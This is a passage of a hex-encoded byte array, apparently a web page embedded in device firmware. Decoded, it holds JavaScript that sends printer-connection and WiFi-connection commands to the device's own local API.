0x7B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x27, + 0x50, 0x6C, 0x65, 0x61, 0x73, 0x65, 0x20, 0x63, 0x6F, 0x72, 0x72, 0x65, + 0x63, 0x74, 0x20, 0x74, 0x68, 0x65, 0x20, 0x66, 0x6F, 0x6C, 0x6C, 0x6F, + 0x77, 0x69, 0x6E, 0x67, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x3A, + 0x5C, 0x6E, 0x27, 0x20, 0x2B, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, + 0x2E, 0x6A, 0x6F, 0x69, 0x6E, 0x28, 0x27, 0x5C, 0x6E, 0x27, 0x29, 0x29, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, + 0x6E, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, + 0x73, 0x74, 0x20, 0x66, 0x69, 0x6E, 0x61, 0x6C, 0x70, 0x72, 0x69, 0x6E, + 0x74, 0x65, 0x72, 0x74, 0x65, 0x78, 0x74, 0x20, 0x3D, 0x20, 0x77, 0x72, + 0x61, 0x70, 0x49, 0x6E, 0x51, 0x75, 0x6F, 0x74, 0x65, 0x73, 0x49, 0x66, + 0x4E, 0x65, 0x65, 0x64, 0x65, 0x64, 0x28, 0x70, 0x72, 0x69, 0x6E, 0x74, + 0x65, 0x72, 0x74, 0x65, 0x78, 0x74, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, + 0x6E, 0x73, 0x74, 0x20, 0x63, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x20, + 0x3D, 0x20, 0x60, 0x70, 0x6F, 0x77, 0x65, 0x72, 0x70, 0x72, 0x69, 0x6E, + 0x74, 0x65, 0x72, 0x20, 0x24, 0x7B, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, + 0x72, 0x69, 0x70, 0x7D, 0x20, 0x24, 0x7B, 0x66, 0x69, 0x6E, 0x61, 0x6C, + 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x74, 0x65, 0x78, 0x74, 0x7D, + 0x20, 0x24, 0x7B, 0x66, 0x6F, 0x6E, 0x74, 0x73, 0x69, 0x7A, 0x65, 0x7D, + 0x20, 0x24, 0x7B, 0x61, 0x6C, 0x69, 0x67, 0x6E, 0x6D, 0x65, 0x6E, 0x74, + 0x7D, 0x60, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x65, 0x74, 0x63, 0x68, + 0x28, 0x27, 0x2F, 0x61, 0x70, 0x69, 0x2F, 0x63, 0x6F, 0x6D, 0x6D, 0x61, + 0x6E, 0x64, 0x27, 0x2C, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x6D, 0x65, 0x74, 0x68, 0x6F, 0x64, 0x3A, 0x20, 0x27, 0x50, 0x4F, 0x53, + 0x54, 0x27, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0x65, 0x61, + 0x64, 0x65, 0x72, 0x73, 0x3A, 0x20, 0x7B, 0x20, 0x27, 0x43, 0x6F, 0x6E, + 0x74, 0x65, 0x6E, 0x74, 0x2D, 0x54, 0x79, 0x70, 0x65, 0x27, 0x3A, 0x20, + 0x27, 0x61, 0x70, 0x70, 0x6C, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, + 0x2F, 0x6A, 0x73, 0x6F, 0x6E, 0x27, 0x20, 0x7D, 0x2C, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x62, 0x6F, 0x64, 0x79, 0x3A, 0x20, 0x4A, 0x53, 0x4F, + 0x4E, 0x2E, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x69, 0x66, 0x79, 0x28, + 0x7B, 0x20, 0x63, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x3A, 0x20, 0x63, + 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x20, 0x7D, 0x29, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, + 0x29, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x2E, 0x74, 0x68, 0x65, 0x6E, 0x28, 0x72, 0x65, 0x73, + 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x20, 0x3D, 0x3E, 0x20, 0x7B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x72, 0x65, 0x73, 0x70, + 0x6F, 0x6E, 0x73, 0x65, 0x2E, 0x6F, 0x6B, 0x29, 0x20, 0x7B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x6C, 0x65, 0x72, + 0x74, 0x28, 0x27, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x63, + 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x63, 0x6F, + 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x20, 0x73, 0x65, 0x6E, 0x74, 0x20, 0x73, + 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x66, 0x75, 0x6C, 0x6C, 0x79, 0x21, + 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x73, 0x65, 0x74, 0x54, 0x69, 0x6D, 0x65, 0x6F, 0x75, 0x74, 0x28, + 0x6C, 0x6F, 0x61, 0x64, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, + 0x2C, 0x20, 0x33, 0x30, 0x30, 0x30, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x7D, 0x20, 0x65, 0x6C, 0x73, 0x65, 0x20, 0x7B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x6C, 0x65, 0x72, + 0x74, 0x28, 0x27, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x73, 0x65, 0x6E, + 0x64, 0x69, 0x6E, 0x67, 0x20, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, + 0x20, 0x63, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, + 0x63, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x2E, 0x27, 0x29, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x29, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x2E, 0x63, 0x61, 0x74, 0x63, 0x68, 0x28, 0x65, 0x72, 0x72, 0x6F, 0x72, + 0x20, 0x3D, 0x3E, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x6F, 0x6C, 0x65, 0x2E, + 0x65, 0x72, 0x72, 0x6F, 0x72, 0x28, 0x27, 0x45, 0x72, 0x72, 0x6F, 0x72, + 0x20, 0x73, 0x65, 0x6E, 0x64, 0x69, 0x6E, 0x67, 0x20, 0x50, 0x72, 0x69, + 0x6E, 0x74, 0x65, 0x72, 0x20, 0x63, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, + 0x69, 0x6F, 0x6E, 0x20, 0x63, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x3A, + 0x27, 0x2C, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x29, 0x29, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, + 0x20, 0x48, 0x65, 0x6C, 0x70, 0x65, 0x72, 0x20, 0x66, 0x75, 0x6E, 0x63, + 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x74, 0x6F, 0x20, 0x67, 0x65, 0x74, 0x20, + 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x61, 0x6C, 0x69, 0x67, + 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x20, 0x62, 0x61, 0x73, 0x65, 0x64, 0x20, + 0x6F, 0x6E, 0x20, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x65, 0x64, 0x20, + 0x76, 0x61, 0x6C, 0x75, 0x65, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, + 0x67, 0x65, 0x74, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x41, 0x6C, + 0x69, 0x67, 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x28, 0x29, 0x20, 0x7B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x61, 0x6C, 0x69, 0x67, 0x6E, + 0x6D, 0x65, 0x6E, 0x74, 0x4D, 0x61, 0x70, 0x20, 0x3D, 0x20, 0x7B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x22, 0x30, 0x22, 0x3A, 0x20, 0x22, 0x43, + 0x4D, 0x22, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x22, 0x31, 0x22, + 0x3A, 0x20, 0x22, 0x54, 0x4C, 0x22, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x22, 0x32, 0x22, 0x3A, 0x20, 0x22, 0x54, 0x52, 0x22, 0x2C, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x22, 0x33, 0x22, 0x3A, 0x20, 0x22, 0x42, + 0x52, 0x22, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x22, 0x34, 0x22, + 0x3A, 0x20, 0x22, 0x42, 0x4C, 0x22, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x20, + 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, + 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, + 0x64, 0x28, 0x27, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x61, + 0x6C, 0x69, 0x67, 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x27, 0x29, 0x2E, 0x76, + 0x61, 0x6C, 0x75, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, + 0x6E, 0x20, 0x61, 0x6C, 0x69, 0x67, 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x4D, + 0x61, 0x70, 0x5B, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x5D, 0x20, 0x7C, 0x7C, + 0x20, 0x22, 0x43, 0x4D, 0x22, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x46, 0x75, 0x6E, 0x63, + 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x74, 0x6F, 0x20, 0x63, 0x6F, 0x6E, 0x6E, + 0x65, 0x63, 0x74, 0x20, 0x74, 0x6F, 0x20, 0x57, 0x69, 0x46, 0x69, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x75, 0x6E, + 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x63, 0x6F, 0x6E, 0x6E, 0x65, 0x63, + 0x74, 0x54, 0x6F, 0x57, 0x69, 0x46, 0x69, 0x28, 0x29, 0x20, 0x7B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x73, 0x73, 0x69, 0x64, 0x20, + 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, + 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, + 0x64, 0x28, 0x27, 0x77, 0x69, 0x66, 0x69, 0x5F, 0x73, 0x73, 0x69, 0x64, + 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x2E, 0x74, 0x72, 0x69, + 0x6D, 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, + 0x70, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x20, 0x3D, 0x20, 0x64, + 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, + 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, + 0x77, 0x69, 0x66, 0x69, 0x5F, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, + 0x64, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x2E, 0x74, 0x72, + 0x69, 0x6D, 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, + 0x73, 0x74, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x20, 0x3D, 0x20, + 0x5B, 0x5D, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x73, 0x73, 0x69, + 0x64, 0x20, 0x3D, 0x3D, 0x3D, 0x20, 0x27, 0x27, 0x29, 0x20, 0x65, 0x72, + 0x72, 0x6F, 0x72, 0x73, 0x2E, 0x70, 0x75, 0x73, 0x68, 0x28, 0x27, 0x50, + 0x6C, 0x65, 0x61, 0x73, 0x65, 0x20, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x20, + 0x61, 0x20, 0x57, 0x69, 0x46, 0x69, 0x20, 0x53, 0x53, 0x49, 0x44, 0x2E, + 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x70, 0x61, 0x73, + 0x73, 0x77, 0x6F, 0x72, 0x64, 0x20, 0x3D, 0x3D, 0x3D, 0x20, 0x27, 0x27, + 0x29, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x2E, 0x70, 0x75, 0x73, + 0x68, 0x28, 0x27, 0x50, 0x6C, 0x65, 0x61, 0x73, 0x65, 0x20, 0x65, 0x6E, + 0x74, 0x65, 0x72, 0x20, 0x61, 0x20, 0x57, 0x69, 0x46, 0x69, 0x20, 0x70, + 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x2E, 0x27, 0x29, 0x3B, 0x0D, + 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x65, 0x72, 0x72, 0x6F, 0x72, + 0x73, 0x2E, 0x6C, 0x65, 0x6E, 0x67, 0x74, 0x68, 0x20, 0x3E, 0x20, 0x30, + 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x6C, 0x65, + 0x72, 0x74, 0x28, 0x27, 0x50, 0x6C, 0x65, 0x61, 0x73, 0x65, 0x20, 0x63, + 0x6F, 0x72, 0x72, 0x65, 0x63, 0x74, 0x20, 0x74, 0x68, 0x65, 0x20, 0x66, + 0x6F, 0x6C, 0x6C, 0x6F, 0x77, 0x69, 0x6E, 0x67, 0x20, 0x65, 0x72, 0x72, + 0x6F, 0x72, 0x73, 0x3A, 0x5C, 0x6E, 0x27, 0x20, 0x2B, 0x20, 0x65, 0x72, + 0x72, 0x6F, 0x72, 0x73, 0x2E, 0x6A, 0x6F, 0x69, 0x6E, 0x28, 0x27, 0x5C, + 0x6E, 0x27, 0x29, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, + 0x65, 0x74, 0x75, 0x72, 0x6E, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x66, 0x69, 0x6E, 0x61, 0x6C, + 0x73, 0x73, 0x69, 0x64, 0x20, 0x3D, 0x20, 0x77, 0x72, 0x61, 0x70, 0x49, + 0x6E, 0x51, 0x75, 0x6F, 0x74, 0x65, 0x73, 0x49, 0x66, 0x4E, 0x65, 0x65, + 0x64, 0x65, 0x64, 0x28, 0x73, 0x73, 0x69, 0x64, 0x29, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x66, 0x69, 0x6E, 0x61, 0x6C, 0x70, + 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x20, 0x3D, 0x20, 0x77, 0x72, + 0x61, 0x70, 0x49, 0x6E, 0x51, 0x75, 0x6F, 0x74, 0x65, 0x73, 0x49, 0x66, + 0x4E, 0x65, 0x65, 0x64, 0x65, 0x64, 0x28, 0x70, 0x61, 0x73, 0x73, 0x77, + 0x6F, 0x72, 0x64, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, + 0x20, 0x63, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x20, 0x3D, 0x20, 0x60, + 0x63, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x20, 0x24, 0x7B, 0x66, 0x69, + 0x6E, 0x61, 0x6C, 0x73, 0x73, 0x69, 0x64, 0x7D, 0x20, 0x24, 0x7B, 0x66, + 0x69, 0x6E, 0x61, 0x6C, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, + 0x7D, 0x60, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x65, 0x74, 0x63, 0x68, + 0x28, 0x27, 0x2F, 0x61, 0x70, 0x69, 0x2F, 0x63, 0x6F, 0x6D, 0x6D, 0x61, + 0x6E, 0x64, 0x27, 0x2C, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x6D, 0x65, 0x74, 0x68, 0x6F, 0x64, 0x3A, 0x20, 0x27, 0x50, 0x4F, 0x53, + 0x54, 0x27, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0x65, 0x61, + 0x64, 0x65, 0x72, 0x73, 0x3A, 0x20, 0x7B, 0x20, 0x27, 0x43, 0x6F, 0x6E, + 0x74, 0x65, 0x6E, 0x74, 0x2D, 0x54, 0x79, 0x70, 0x65, 0x27, 0x3A, 0x20, + 0x27, 0x61, 0x70, 0x70, 0x6C, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, + 0x2F, 0x6A, 0x73, 0x6F, 0x6E, 0x27, 0x20, 0x7D, 0x2C, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x62, 0x6F, 0x64, 0x79, 0x3A, 0x20, 0x4A, 0x53, 0x4F, + 0x4E, 0x2E, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x69, 0x66, 0x79, 0x28, + 0x7B, 0x20, 0x63, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x3A, 0x20, 0x63, + 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x20, 0x7D, 0x29, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, + 0x29, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x2E, 0x74, 0x68, 0x65, 0x6E, 0x28, 0x72, 0x65, 0x73, + 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x20, 0x3D, 0x3E, 0x20, 0x7B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x72, 0x65, 0x73, 0x70, + 0x6F, 0x6E, 0x73, 0x65, 0x2E, 0x6F, 0x6B, 0x29, 0x20, 0x7B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x6C, 0x65, 0x72, + 0x74, 0x28, 0x27, 0x57, 0x69, 0x46, 0x69, 0x20, 0x63, 0x6F, 0x6E, 0x6E, + 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x63, 0x6F, 0x6D, 0x6D, 0x61, + 0x6E, 0x64, 0x20, 0x73, 0x65, 0x6E, 0x74, 0x20, 0x73, 0x75, 0x63, 0x63, + 0x65, 0x73, 0x73, 0x66, 0x75, 0x6C, 0x6C, 0x79, 0x21, 0x27, 0x29, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x65, + 0x74, 0x54, 0x69, 0x6D, 0x65, 0x6F, 0x75, 0x74, 0x28, 0x6C, 0x6F, 0x61, + 0x64, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2C, 0x20, 0x33, + 0x30, 0x30, 0x30, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, + 0x20, 0x65, 0x6C, 0x73, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x27, + 0x45, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x73, 0x65, 0x6E, 0x64, 0x69, 0x6E, + 0x67, 0x20, 0x57, 0x69, 0x46, 0x69, 0x20, 0x63, 0x6F, 0x6E, 0x6E, 0x65, + 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x63, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, + 0x64, 0x2E, 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x7D, 0x29, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x63, 0x61, 0x74, 0x63, 0x68, + 0x28, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x3D, 0x3E, 0x20, 0x63, 0x6F, + 0x6E, 0x73, 0x6F, 0x6C, 0x65, 0x2E, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x28, + 0x27, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x73, 0x65, 0x6E, 0x64, 0x69, + 0x6E, 0x67, 0x20, 0x57, 0x69, 0x46, 0x69, 0x20, 0x63, 0x6F, 0x6E, 0x6E, + 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 